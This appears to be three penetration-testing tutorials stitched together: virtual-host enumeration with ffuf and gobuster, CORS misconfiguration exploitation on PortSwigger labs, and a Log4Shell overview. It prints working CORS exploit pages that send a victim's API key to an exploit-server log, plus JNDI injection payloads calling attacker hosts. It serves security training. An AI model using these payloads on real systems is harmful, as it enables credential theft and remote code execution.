During the testing reconnaissance phase, testers spend time on virtual host enumeration, which is the process of discovering all the virtual hosts associated with a particular IP address or domain. This helps them find hidden or undocumented assets that might be vulnerable or misconfigured.

For example, they might find a virtual host that can be accessed without authentication. This could result in unauthorized access to sensitive data.

In this article, we will discuss different ways to enumerate virtual hosts and gather information from them. We will use the HTB Academy exercise in the “Information Gathering — Web Edition” module to demonstrate the enumeration steps.

Note that this tutorial is for educational purposes only. Don't use this info to do harm – use it for good so you can make your projects more secure.

Table of Contents

• Virtual Hosting Overview
  – IP-based Hosting
  – Name-based Hosting
• Virtual Hosts Enumeration
  – Ffuf
  – Gobuster
  – Curl
• Post Enumeration
  – hakcheckurl
  – Eyewitness

Pre-requisites

Before we start enumerating virtual hosts, we need to install some tools to help us. Most of these tools run on Linux, such as Ubuntu and Kali Linux:

• Ffuf
• Gobuster
• Eyewitness
• hakcheckurl

If you don't have these installed, I'll cover the steps below.

Virtual Hosting Overview

Virtual hosting is a feature that allows a single web server to host multiple websites and have them appear as if they are hosted on separate, individual servers. This is usually done to reduce resource overhead and running costs.

There are two types of virtual hosting: IP-based and Name-based.

IP-based Hosting

This type of hosting involves configuring a web server to host multiple websites on a single server. Each hosted site is associated with a unique IP address, which can either be dedicated or shared based on the hosting configuration.

When a user tries to access a website, the server listens for the request, resolves the incoming hostname to its corresponding IP address, and then routes the request to the appropriate website based on that IP address.

Once the server identifies the intended website based on that IP address, it serves the content associated with that website to the user.

Name-based Hosting

This type of hosting involves configuring a web server to host multiple websites on a single IP address using different domain names. Each hosted website is typically associated with a unique hostname, but multiple hostnames can be related to a single website.

When a user requests to access a website, the server checks the “Host” header in the HTTP request to figure out which website the user is trying to reach. Based on the hostname provided in the Host header, the server identifies the specific website and serves the content associated with that website to the user.

Virtual Hosts Enumeration

Ffuf

Ffuf is a tool written in Go that can be installed on Kali Linux by running sudo apt-get install ffuf or downloaded from GitHub. This tool allows you to customize your fuzzing approaches.

To start searching for virtual hosts, we need to pass the IP address of the target using the -u flag and the associated domain name with the -H flag, which refers to the Host header.

Then, place the word FUZZ at the beginning of the domain to indicate the fuzzing position.

We can use different wordlists to identify virtual hosts with the -w flag. One popular wordlist is the namelist list in the Seclists wordlists, while another is the Kiterunner wordlist in Assetnotes.

ffuf -w namelist.txt -u http://10.129.184.109 -H "HOST: FUZZ.inlanefreight.htb".

Fuzzing can generate numerous results that sometimes are hard to identify as valid or invalid. Filtering down the results can save you time sifting through the output.

You can filter one response size or a list of sizes using commas to separate them with the -fs flag — like -fs 109, 208,, and so on.

fuf -w namelist.txt -u http://10.129.184.109 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918

Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists.

After the fuzzing is complete, we save the output to a file. Then, we can use the grep utility to search the result for lines that contain the word “FUZZ” in the text. Below is an example of using grep to find the lines with the identified subdomains.

cat vhosts | grep 

FUZZFUZZ:ap
FUZZ:app
FUZZ:citrix

Then, we can pipe the grep output with the awk utility to extract only the identified subdomains using the print command, followed by a dollar sign and the column number. This entire command can be written in one line.

cat vhosts | grep FUZZ | awk '{print $3}'

Using a short bash script, we append our original domain name to the identified subdomains, as seen in Figure 02.

for i in $(cat vhost1); do echo $i.inlanefreight.htb ; done > vhost1

Figure 02 — Shows bash output used to append the domain name to subdomains.

Gobuster

Another way to enumerate virtual hosts is with the Gobuster tool using the vhost option. The tool can be installed in Kali by running sudo apt-get install gobuster or downloaded from GitHub.

To begin the enumeration process, we first need to provide the IP address using the -u flag and specify a wordlist with the -w flag. After that, we define the domain name and the position where the fuzzing starts.

In Gobuster, we define this information in a text file, called a pattern file, that gets passed with the -p flag. You can see an example of a pattern file in Figure 03 below.

{GOBUSTER}.inlanefreight.htb

Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster.

For filtering the output, we use the --exclude-length flag to sift through the response sizes. Multiple response sizes can be separated by commas.

gobuster vhost -u http://10.129.118.153 -w namelist.txt -p pattern --exclude-length 301 -t 10

Figure 04 — Shows using Gobuster to enumerate virtual hosts.

Curl

We can achieve the same thing with Curl and some bash scripting. The script below reads the content of the namelist file, which serves as our wordlist, and prints the message “Found Subdomain” for each subdomain it reads from the file.

cat namelist.txt | while read vhost; do echo "\n========\nFound Subdomain: ${vhost}\n=========";

Then, the curl command makes HTTP HEAD requests to the specified IP address (http://10.129.141.252), passing the subdomains from the wordlist in the Host header.

The output is piped to grep to extract the Content-length of the responses and save it in a file.

curl -s -I http://10.129.141.252 -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: "; done > output

Figure 05 — shows identifying subdomains with Curl.

To search the output, we utilize the grep command again and filter for the lines that contain the text “Content-Length:”. Then, we use the uniq command to remove any duplicate lines in a text file, and the -c flag to count the number of times each unique line occurs.

cat output | grep "Content-Length:" | uniq -c

Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output.

If we want to extract subdomains from the content, we can use the -B flag to display a few lines before the match. In this command, we used 4 lines to retrieve the subdomain names.

cat output | grep -B 4 "Content-Length: 103"

Figure 07 — shows the extracted subdomains with the grep command and the -B flag.

Post Enumeration

After identifying the virtual hosts, we append HTTP or HTTPS to generate a list of URLs. We can use a one-liner bash script to do that.

for i in $(cat vhost2); do echo "https://"$i; done > vhosts3

Figure 08—shows the use of a bash script to append HTTP/s to the list of identified subdomains.

This list can then be used with other tools like hakcheckurl or Eyewitness to retrieve the HTTP response codes to check for available web pages and capture screenshots.

hakcheckurl

hakcheckurl is a tool written in Go by hakluke and is available on GitHub here. The tool takes a list of URLs and returns their corresponding HTTP response codes.

To run the tool, you'll need to have Go installed. Follow the steps on Go's official site for installing it on a Linux environment.

After installation, clone the hakcheckurl repository, build the tool with go build, and rename it to hakcheckurl.

git clone https://github.com/hakluke/hakcheckurl.git

go build ./main.go

# rename the tool to hakcheckurl instead of main
mv main hakcheckurl

Figure 09 — shows the hakcheckurl tool after running the build command.

Next, we use the hakcheckurl tool to determine the HTTP response codes for each URL. In the below results, you can see that the URLs that used the HTTPS protocol were unreachable, while those that used the HTTP protocol returned 200 response codes. This indicates that the web pages using HTTP are up and running.

cat vhosts | ./hakcheckurl

Figure 10 — shows the output of the hakcheckurl tool.

Eyewitness

Once we have identified the web pages that we want to inspect, we can use Eyewitness to gather more information about the underlying infrastructure and the technologies associated with the targeted websites.

Eyewitness is a tool created by RedSiege that can capture screenshots, retrieve header information, and identify default credentials, if any are known. We can install it on Kali with sudo apt-get install eyewitness or download it from GitHub.

To run Eyewitness, we need to pass the list of URLs using the -f flag. Then, we can set a custom User-Agent string for the HTTP requests with the --user-agent flag. This can be useful for simulating requests from different browsers or client applications.

We can also, specify additional ports to check with the http and https protocol using the --add-http-ports and --add-https-ports flag. This instructs Eyewitness to connect to these ports and capture screenshots, if applicable.

eyewitness -f vhost2 --user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" --add-http-ports 8080,8000,8088 --add-https-ports 8443,4433,4343

Figure 11 —shows Eyewitness running against a list of provided URLs.

After it runs, we get prompted to choose whether or not to open the report that has been created. If you select ‘Y’, the default web browser will open the report. If you choose ‘N’, the report will be saved to your local device.

Figure 12 — shows the Eyewitness generated HTML report.

Wrapping Up

With that we have reached the end of today’s tutorial. Throughout the article, you have discovered and explored various tools to enumerate virtual hosts. We also discussed how to use the results from these tools to expand the attack surface and gain valuable insights into the target’s infrastructure.

Thank you for taking the time to read this post. I also created a cheatsheet for you on Notion that lists all the commands we used in this post.

Resources

• Information Gathering — Web Edition — HTB Academy
• Apache IP and Name Based Virtual Hosts Explained
• Assetnote Wordlists
• SecLists Wordlists

The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.

For example, if **business.com** tries to make an HTTP request to **metrics.com**, the browser, by default, will block the request because it comes from a different domain.

As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.

Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as Cross-Origin Resource Sharing (CORS).

This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.

I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.

Table of Contents

• What is Cross-Site Origin Policy (CORS)?
• Impact of CORS Misconfigurations
• How to Identify CORS
• Exploitable Cases
• Unexploitable Case
• Mitigations
• Resources

What is Cross-Site Origin Policy (CORS)?

CORS is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.

There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — **Access-Control-Allow-Origin** and **Access-Control-Allow-Credentials**.

Access-Control-Allow-Origin: This header specifies the allowed domains to read the response contents. The value can be either a wildcard character **(*)**, which indicates all domains are allowed, or a comma-separated list of domains.

#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.

The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.

#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Impact of CORS Misconfigurations

CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:

• Data Theft: Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.
• Cross-Site Scripting (XSS): Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.
• Remote Code Execution in some cases (StackStorm case)

How to Identify CORS

When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.

In the example below, I searched for the **Access-Control-Allow-Credentials** header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.

Figures 1 & 2 show the search functionality in Burp Suite to look for CORS headers.

To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.

1. Reflected Origins

Set the Origin header in the request to an arbitrary domain, such as [**https://attackersdomain.com**](https://attackersdomain.com./), and check the **Access-Control-Allow-Origin** header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.

The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the **Access-Control-Allow-Credentials** header is also included in the response and is set to **true**.

However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.

📌 To exploit reflected origins, check the exploitation section — Case #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.

2. Modified Origins

Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.

If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the **metrics.com** domain would be something like **attackmetrics.com** or **metrics.com.attack.com**.

The risk of this misconfiguration is considered high if the domain allows for passing credentials with the **Access-Control-Allow-Credentials** header set to true. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.

But the risk would be low if authenticated requests were not allowed.

📌To exploit modified origins, check the exploitation section — Case #1.

3. Trusted subdomains with Insecure Protocol.

Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.

This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.

📌 To exploit trusted subdomains, check the exploitation section — Case #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains.

4. Null Origin

Set the Origin header to the null value — **Origin: null**, and see if the application sets **the Access-Control-Allow-Origin** header to null. If it does, it means that null origins are whitelisted.

The risk level is considered high if the domain allows for authenticated requests with the **Access-Control-Allow-Credentials** header set to **true**.

But if it does not, then the issue is considered low, and not exploitable.

📌 To exploit Null Origins, check the exploitation section- Case #2.

Figure 5 — shows the application accepted the null value and returned it in the response.

Exploitable CORS Cases

In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.

Case 1: Reflected Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the attacker’s supplied domain and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true

Figure 6 — shows the CORS headers for reflected origin.

The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.

<html>
  <body>
    <script>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.

The above script starts with initializing the **XMLHttpRequest** (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.

Then, we instruct the object to execute a function called retrieveKeys that fetches the admin API key and sends the response to us when it loads.

Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the Credentials function set to true.

The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the **access-Control-Allow-Credentials** is set to true.

To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.

Login into the application, click the “Go to exploit server,” and paste the script in the body. Then click on “Deliver exploit to victim.” In a real scenario, you need to send the link to the user and try to entice them to click it.

Figures 7 & 8 — show the process of hosting the JS payload and delivering it to the user.

After delivering the exploit, click on “Access log” and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite Decoder and decode it as a URL to retrieve the cleartext value.

Figures 9 & 10 — show the admin API key in the logs and the plain text key value on Decoder.

Case 2: Null Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the null value and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Figure 11 — shows the application server accepts null origins.

The exploitation requires us to host the JS script file to be accessible to the targeted user (same as in case #1). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

When the authenticated user clicks on our link [**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.), we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.

The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.

_Figures 12 & 13 — show null value is added to the request header, and the user accessed the cors_nullpoc page.

Figure 14 — shows the user’s account details when clicking the link.

Case 3: Trusted Subdomains

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to any of its subdomains and allows credentials with Access-Control-Allow-Credentials set to true.

The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true

Figure 15 — shows the domain accepts its subdomains’ origins.

If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.

In the Port Swigger lab #3, the application trusts its subdomain — stock — that is vulnerable to XSS vulnerability in the **ProductId=** parameter.

Figures 16 & 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.

We will use the same script to exploit this case, except we will add the location where we inject the payload using the **document.location** function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

After that, we save the script as **cors_poc.html**, host it on our server, and send the link to the user.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the **productId** parameter and retrieved the API key.

Figures 18, 19 & 20 — show injecting the XSS payload and capturing the APi key in action.

Unexploitable Case: Wild Card (*)

The application is NOT vulnerable when the Access-Control-Allow-Origin is set to wildcard ***** , even if the Access-Control-Allow-Credentials header is set to true.

This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.

Mitigations

• Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.
• Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.

Wrapping Up

In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains.

We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.

By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.

Resources

• https://ranakhalil.teachable.com/p/web-security-academy-video-series
• https://www.trustedsec.com/blog/cors-findings/
• https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations
• https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.

There are a lot of resources out there on Twitter, Reddit, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.

Log4Shell Vulnerability Overview

The Log4Shell vulnerability is a Java JNDI injection. It's not a new vulnerability, though – there was a Blackhat talk in 2016 about it by Alvaro Munoz & Oleksandr Mirosh.

Older versions of the library 1. x are not vulnerable to code execution. The logs are encapsulated in string format as they should be, and they don’t get parsed.

Interestingly, the vulnerability was introduced with the new JNDI lookup feature in version 2.0–2.15.0 that allows any inputs to be parsed and interpreted by the application no matter where it originates.

These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).

Below is an excellent diagram by Rob Fuller (@mubix) showing this vulnerability’s impact.

It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.

I got DNS callbacks from all of them. 😱

JNDI, or Java Naming Directory Interface, is an API that allows the Java application to perform searches on objects based on their names. It supports several directory services like LDAP, RMI, DNS, and CORBA.

Most of the payloads I have seen use LDAP, DNS, and RMI protocols to perform the DNS requests.

For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.

DNS requests are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.

Impact of the Log4Shell Vulnerability

The main impacts of this vulnerability are:

• Data Exfiltration through DNS
• Remote Code Execution with malicious Java objects and Rogue LDAP servers

Patched Version

The Log4J version 2.17 is patched.2.15.0 and 2.16.0 patches were bypassed while writing this article.

How Attackers Exploit Log4Shell 💻

The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as “Log4JPayload.class” to get referenced later.

Then, the attacker inserts the crafted JNDI injection to any requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF and so on (see below injection points).

Payload Examples

${jndi:ldap://attackermachine:portnumber/Log4JPayload.class} 

${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}

When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.

The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.

InjectionPoints

One main injection point is in request paths like in the example below: GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1

Another is in HTTP Headers. An attacker can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing. Musa Şana compiled a more extensive list.

Injection Points

It is essential to remember that the exploit doesn’t result in an immediate callback all the time. It sometimes takes minutes to hours to get something back.

I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding whether it's vulnerable or not. Be patient ⏰!

Log4Shell Payloads

There are so many payloads that have been posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF.

Below is a screenshot of the payloads collected from Twitter.

I compiled the interesting ones on Carbon snippet.

Collected Payloads from Twitter - [https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk](https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk" rel="noopener ugc nofollow)

Data Exfiltration Examples

Suppose an application is not vulnerable to remote code execution or blocks outgoing LDAP connections. In that case, an attacker or pentester can still leverage this vulnerability to extract sensitive information such as secret keys, tokens, and configuration files of the application itself and the hosted infrastructure.

An attacker can then leverage the information to choose the appropriate attack vector to compromise the targeted application.

Carbon Sinppet - [https://carbon.now.sh/kToUK7dCk0KJkri0qvXf](https://carbon.now.sh/kToUK7dCk0KJkri0qvXf" rel="noopener ugc nofollow)

Auotmated Checks

Automated scans help during a black-box pentest to perform cursory checks on many hosts. Below is the list of major known scanning tools that can help you achieve that:

• Burp Extensions: Log4Shell Scanner
• Log4J Scanner by mazen160
• Nuclei Template for Log4J — id: CVE-2021–44228
• Nmap NSE Script — nse-log4shell

DNS Log Monitor Services

To quickly test the application, we use the below services to create a DNS token for our payload and see if we get the callbacks.

• Canary Tokens
• DNSlog.cn
• Interactsh
• Burp Collaborator

Vulnerable Apps to Test:🔥

There are a number of great, ready-to-spin-up vulnerable applications on GitHub, PentesterLabs, and TryHackMe for testing this vulnerability.

My favorite is the Log4Shell app (it requires some setup and can show you behind the scenes of setting up a rogue LDAP server and connecting to it). However, if you want to test this quickly, TryHackMe Solar room is the way to go.

• Log4jPwn — https://github.com/leonjza/log4jpwn
• Log4Shell — https://github.com/kozmer/log4j-shell-poc
• PentestLabs Challenges : Log4J RCE , Log4J RCE II
• TryHackMe Solar Room by John Hammond — https://tryhackme.com/room/solar [free room]

Log4Shell Mitigations

In order to protect yourself from this vulnerability, here are some steps you can take:

• Upgrade to the latest version of Log4J — v2.17.0.

• Disable lookups within messages log4j2.formatMsgNoLookups=true

• Remove the JndiLookup class from the classpath zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

• Apply firewall rules to limit communications to only a few allowable hosts, not with everyone. Mick Douglas explains it well in his Tweet about the IMMA model “Isolate,” “Minimize,” “Monitor,” and “Active Defense”!

That’s all for today. This was a hell of a week. I learned many new things about Java injections and exploitation.

Thanks for reading!!

Learn More About Log4JShell

• Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns
• What do you need to know about the log4j (Log4Shell) vulnerability? by SANS Institute
• Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j
• Apache log4j Vulnerability CVE-2021-44228: Analysis and Mitigations
• log4shell - Quick Guide
• Log4Shell Zero-day Exploit Walkthrough
• CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)
• A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land
• Log4Shell : JNDI Injection via Attackable Log4J